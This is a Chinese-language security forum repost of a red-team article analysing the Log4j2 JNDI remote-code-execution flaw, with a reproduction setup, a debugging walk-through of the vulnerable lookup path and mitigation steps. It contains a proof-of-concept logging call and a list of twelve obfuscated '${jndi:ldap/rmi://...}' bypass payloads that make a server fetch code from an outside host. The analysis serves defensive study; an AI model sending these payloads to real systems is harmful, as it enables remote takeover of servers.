安全矩阵

 找回密码
 立即注册
搜索
查看: 584|回复: 0

九维团队-红队(突破)| Log4j2漏洞分析

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-11-23 10:03:56 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-11-23 10:08 编辑

九维团队-红队(突破)| Log4j2漏洞分析
原创 kaiwing 安恒信息安全服务
2022-11-21 16:27 发表于北京
转载自:九维团队-红队(突破)| Log4j2漏洞分析

一、简介
Log4j 和 Log4j2
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、
UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。Log4j2也是Apache 的一个开源项目,
它改进了 Log4j的一些不足。

漏洞影响版本范围
2.0 <= Apache log4j2 <= 2.14.1

二、本地环境搭建

在复现漏洞的时候直接log4j并不行,实际上影响的是 log4j2,需要导入2.x版本,这里本地使用mvn来导入依赖。
  1. <dependency>
  2. <groupId>org.apache.logging.log4j</groupId >
  3. <artifactId> log4j-api</artifactId>
  4. <version>2.8.1</version>
  5. </dependency>
  6. <dependency>
  7. <groupId>org.apache.logging.log4j</groupId >
  8. <artifactId> log4j-core</artifactId>
  9. <version>2.8.1</version>
  10. </dependency>
复制代码
为了简便,不使用配置文件,log4j2会使用默认的配置,即在error级别的时候会输出日志,创建代码。​​​​​​​
  1. Package JNDI;

  2. import org.apache.logging.log4j.LogManager;
  3. import org.apache.logging.log4j.Logger;

  4. public class log4jRce {
  5. private static Logger logger = LogManager.getLogger(log4jRce.class.getName());
  6. public static void main(String[] args) {
  7. logger.error("${jndi:ldap://abcd.dnslog.com/a}");
  8. }
  9. }
复制代码
因为是jndi漏洞,利用受到jdk版本限制,使用没有限制jndi的jdk版本即可触发漏洞。高 jdk版本虽然可以解析dns,发送paylaod时不会去获取执行恶意类。

本地测试执行命令:


三、漏洞代码分析
在idea中使用mvn导入,如果要跟踪代码,在代码中打断点调试,就需要在本地创建相同包去覆盖原来的文件。
https://mvnrepository.com/artifact/org.apache.
logging.log4j/log4j-core/2.14.1中下载jar包,使用jd-gui查看源码。

将需要调试的源码在本地中创建。

网上公开的paylaod大部分都是这种形式:
  1. ${jndi:ldap://xxx.dnslog.cn}
复制代码
先定位到出发lookup的函数点,代码在org.apache.loggin.log4j.core.lookup.Interpolator#lookup,在此函数中打下断点。

我们可以看到使用了override,是一个重写的方法,当追踪下面lookup方法的时候,只会跳到接口类,不会直接跳到处理的逻辑。

然后就需要看代码,看看里面做什么处理。代码逻辑不难,就是分割一段字符串,提取:前面与后面,:前面则是相应的名字,对应的是strLookupMap定义好的类。

strLookupMap里面的方法,可以看到有12种,每一个名字对应的都是相应的类。

可以通过查看源码看到相应类。
                                                
                        编辑
                        

继续放行代码,可以看到lookup实际上已经是JndiLookup对象,调用的是JndiLookup的lookup方法。

来到JndiLookup对象中,可以看到里面调用的jndiManager.lookup方法。

jndi中的lookup是直接用的javax.naming.Context
.lookup。所以这里就造成了rce。
在看完触发漏洞点之后,需要看一下触发需要的一些限制,根据触发漏洞的调用链去查看程序如何调用。

调用链条:

调试的时候使用error去显示日志,程序在执行的到error之后会去判断是否显示error日志。

在环境搭建的时候没有使用配置文件配置,所以log4j会使用默认的配置(比error等级高才会输出),只有在级别比error高的错误才会去显示日志,否则直接就忽略了。

所以这里的一个触发条件是开发者配置log4j中会使用日志处理接受的输入,并且输出等级不低于配置中的等级。

公开的绕过方式分析​​​​​​​
  1. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
  2. ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
  3. ${jndi:rmi://adsasd.asdasd.asdasd}
  4. ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
  5. ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
  6. ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
  7. ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxx xxxx.xx/poc}
  8. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/ass}
  9. ${${::-j}ndi:rmi://127.0.0.1:1389/ass}
  10. ${jndi:rmi://a.b.c}
  11. ${${lower:jndi}:${lower:rmi}://q.w.e/poc}
  12. ${${lower:${lower:jndi}}:${lower:rmi}://a.s.d/poc}
复制代码

通过调试上面的绕过方式都是使用多个插值的方式绕过。在代码里面调试,输入下面的字符串输出
  1. abcd-${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}-aksdkashkd--
复制代码

再运行到org.apache.loggin.log4j.core.lookup
.StrSubstitutor#substitute方法下,使用循环解析替换的方式。

经过一次解析,${::-j}已经替换成j。
后面继续循环就会继续替换,最后变成我们需要的payload。

四、修复/防御方式
1、临时修复:修改启动脚本或命令,添加“-Dlog4j2.formatMsgNoLookups=true”启动参数和参数值。
例如:
原启动脚本或命令:
  1. java -jar file.jar
复制代码
修改后启动脚本或命令 :
  1. java -Dlog4j2.formatMsgNoLookups=true -jar file.jar
复制代码
2、通过版本覆盖,将项目依赖的log4j2升级到最新版本。
下载地址:https://logging.apache.org/log4j/2.x/download.html
3、如非必要,可将项目中的log4j2依赖移除。
4、利用WAF对相关攻击特征进行拦截:将WAF规则更新至最新。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 04:48 , Processed in 0.014170 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表